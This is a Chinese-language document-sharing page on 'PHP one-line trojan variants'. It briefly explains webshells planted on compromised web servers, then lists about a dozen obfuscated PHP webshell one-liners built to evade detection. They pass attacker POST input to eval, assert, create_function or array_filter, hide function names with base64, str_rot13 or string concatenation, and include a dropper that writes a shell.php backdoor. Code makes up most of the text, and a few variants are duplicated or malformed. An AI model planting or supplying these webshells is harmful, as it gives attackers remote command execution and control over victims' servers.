PHP一句话木马变形研究

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

PHP⼀句话⽊马变形研究
⼀句话⽊马变形
介绍:⽹站后门,也可以叫做WebShell,⿊客在⼊侵了⼀个⽹站后,通常会将⼀些asp或php⽂档与⽹站服务器WEB⽬录下正常的⽹页⽂档混在⼀起,使得可以通过使⽤浏览器来访问这些asp或者php ⽂档,从⽽得到⼀个命令执⾏环境,最终达到控制⽹站服务器的⽬的(可以上传下载⽂档,查看数据库,执⾏任意进程命令等)。

这样的⽂档叫做后门。

下⾯整理了⼀下当前最常见的PHP后门:
最流⾏的⼀种后门叫做⼀句话⽊马,例如:
原理:
1.在PHP脚本语⾔中,eval或者assert(code)的功能是将code组合成php命令,然后将命令执⾏。

2.<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执⾏ echo phpinfo();语句。

优点:短⼩精悍,功能强⼤。

缺点:容易被安全软件检测出来。

为了增强隐蔽性,减⼩被检测的出来的概率,出现了各种⼀句话⽊马的变形。

下⾯是我做的⼏种测试,当然⼀句话的变形并不局限于以下,我们也可以传⼊⽂档,在⽤动态写⼊语句,在同级⽬录下创建⼀句话后门,⽐如:<?php
fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘cmd’]);?>”)?>
变形⼀
<?php
$a=str_replace("x", "", "axsxxxxsxexrt");
$a($_POST["cmd"]);
>
变形⼆
<?php
$fun=create_function('',$_POST['a']);
$fun();
>
变形三
<?php
@call_user_func(assert,$_POST['a']);
>
变形四
<?php
@$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
>
变形四
<?php
@call_user_func(assert,$_POST['a']);
>
变形五
<?php
$a = "assert";
$a(@$_POST['a']);
>
变形六
<?php
<?php
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
>
//解码后即==> eval($_POST[x]);
>
变形七
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
>
变形⼋
<?php
$_=base64_decode("YXNzZXJ0");
$_(str_rot13('riny($_CBFG[cntr]);'))
>
变形九
<?php
$a="a"."s"."s";
$b="e"."r"."t";
$c=$a.$b;
$c($_POST['a'])
>
变形⼗
<?php
$str="a=assert";
parse_str($str);
//$a=eval
$a($_POST['a']);
>
变形⼗⼀
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],); array_filter($arr, $e);
>。

相关文档
最新文档